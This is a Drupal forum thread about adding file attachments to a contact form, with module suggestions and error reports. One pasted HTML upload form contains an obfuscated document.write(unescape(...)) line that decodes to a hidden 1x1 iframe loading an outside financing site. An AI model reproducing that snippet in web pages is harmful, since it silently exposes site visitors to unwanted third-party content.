By Artem on
1. My site users often need to send me some files
2. I am afraid of spammers and prefer not to publish my email -> I ask everybody use the site's "contact us" form (standard Drupal's)
Is there a way to allow attaching files to the "Contact us" form? Maybe some special "Contact Us" module?
Comments
Try webform
You can define your own fields. I'm not sure if it has provision for attachments, though.
Laura
_____ ____ ___ __ _ _
design, snap, blog
_____ ____ ___ __ _ _
Laura Scott :: design » blog » tweet
Thank you, I'll have a look
Thank you, I'll have a look at it.
take a look here
Hi Artem,
look here http://drupal.org/node/68265. I've post a solution for a contact form with file attachment and an anti spam filter.
---------------------------------------------------
You find me at www.creazion.de
My last project www.happy-faces.de
Unfortunately, I afraid, my
Unfortunately, I afraid, my PHP/Drupal skills are too low to correctly use the Drupal code that is not packaged into a module
Don't be afraid just copy & paste
Hi Artem,
the code is very easy to use.
Follow the steps to create your custom contact form:
now you have a new contact form with the ability to attach files.
You have only to customize the following block:
I think it's self explanation. But if you've any questions to this script let me hear them I will help you.
---------------------------------------------------
You find me at www.creazion.de
My last project www.happy-faces.de
Thank you, Creazion I'll try
Thank you, Creazion
I'll try it.
Don't be afraid just copy & paste
That sentence should have its own page in the handbook. :^)
Thanks a Ton!
Worked like a charm, thanks for the work on the code for this. Would be nice to have this as an option for sepecific contact form (built into the Drupal core). Anyway, good solution to the contact form attachment issue.
Creazion - thanks for the post
I used the sugested code and it works great.
Is there a way I can set the uploader so it will only allow certain file types to be uploaded (eg .png, .gif and .jpg)?
thanks again,
Udi.
my site - DIY Studio Photography and lighting
Dear Sir Madam
I want the full code for contact form with file upload.
can you help me.
Thanks
i copied and paste that codes but its not working
i copied and paste the given codes but its not working it shows me error in LINE 5
_
1) this code is over 3 years old
2) just use the webform module which includes this functionality and much more
Dear WorldFallz
how i will make it, and which function i should use. i have no code neither any form sample.
my data are following. that i want to in my web form.
Name:
Age:
Father Name:
City:
Country:
Zip Code:
Address
Message:
Picture Upload : here the picture upload browser will go.
Submit.
When the user fill the form all the given data should reach to my email account e.g chimii@gmail.com or chimii@mydomain.com
in most of php scripting code i seen that two file works behind the form. in action script.
do u have any code for the same as i want .
Thanks
respected WorldFallz
I am totally new with this drupal
the codes which you give and share , for this may i install any software program or what ?? i m new with the Drupal.
kindly help me out with my problem .
Thanks
_
As I said above, this can now be done with the http://drupal.org/project/webform module. Install the module, read the documentation-- it's very simple to use.
dear sir ..
without installing of the webform as you gave me the link ,
will it now work if i do not install the drupal on my system ???
http://drupal.org/project/webform
i need just the simple form with picture upload and 8 text field ..
i created a php web form but it is showing me some error . if you say , may i send you the codes ??
_
Not every geek is a 'sir' ;-)
Sorry but I have no idea what you're asking. However, you're posting on drupal.org. Almost all the advice we give here is contingent on the fact you are using drupal. Webform is a drupal module and therefore requires drupal to use.
If you just want to create a basic webform without running drupal there are plenty of appropriate places on the internet to find that info.
i am using the following codes for form
Please check the codes where is error and why it is not showing me the value for City: and State:
form works but only that two values data is not showing into mail.
please help me with that .
this is my html file ...
=================
Email Image Upload
Image Upload
Only Images Can Be Uploaded
Example: .jpg or .gif
Name
Email
Maximum File Size: 2megs
by: American Financing
Designed
by: Chris J. Anderson
document.write(unescape('%20%3C%69%66%72%61%6D%65%20%0D%0A%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%6D%65%72%69%63%61%6E%66%69%6E%61%6E%63%69%6E%67%2E%6E%65%74%22%0D%0A%77%69%64%74%68%3D%27%31%27%20%68%65%69%67%68%74%3D%27%31%27%20%73%63%72%6F%6C%6C%69%6E%67%3D%27%6E%6F%27%0D%0A%66%72%61%6D%65%62%6F%72%64%65%72%3D%27%6E%6F%27%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%27%30%27%0D%0A%6D%61%72%67%69%6E%77%69%64%74%68%3D%27%30%27%3E%3C%2F%69%66%72%61%6D%65%3E'));----End---
and this is my output.php file
=======================
--- End ---
This is what I'm looking
This is what I'm looking for. However after I copy the text into the Body and save I get the following message instead of the new contact form.
warning: call_user_func_array() [function.call-user-func-array]: First argument is expected to be a valid callback, 'contactform' was given in /home/vancouw2/public_html/drupal/includes/form.inc on line 218.
Does anyone know what I'm missing?
I'm using Drupal 5.1
I get the same error when I
I get the same error when I try to use the code on Drupal 5.1 as well. I'm not sure what's causing it though.
code for drupal v5
I used creazion's updated example for version 5, and it works fine.
http://drupal.org/node/68265#comment-212470
custom form
hi dear i design the form ..
i savedthat form in the theme folder tell me..
now i want to display that form in the user page...
with menu name:: student register and its forms must display..
thanks in advance
problem with drupal v6
Hi, I plugged the code in a page, and get this error when saving. Any idea how to fix it is appreciated.
=====================
warning: call_user_func_array() [function.call-user-func-array]: First argument is expected to be a valid callback, 'contactform' was given in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\pedb_drupal\includes\form.inc on line 358.
=====================
Drupal 6 pictures upload at contact form ?
Hello,
Do you know what is the best solution now to allow registered users to upload pictures throught the contact form ?
Thank you.
Found a module !
Hi,
I just found this module and will try it now:
https://drupal.org/project/contact_attach
Thanks.
form attachment
Is it possible to add an attachment to a form and have it only show addresses that match our address data list? I created a form and added the address filed based on the data we have uploaded, but now I need the attachment to only show the ones the address are in our system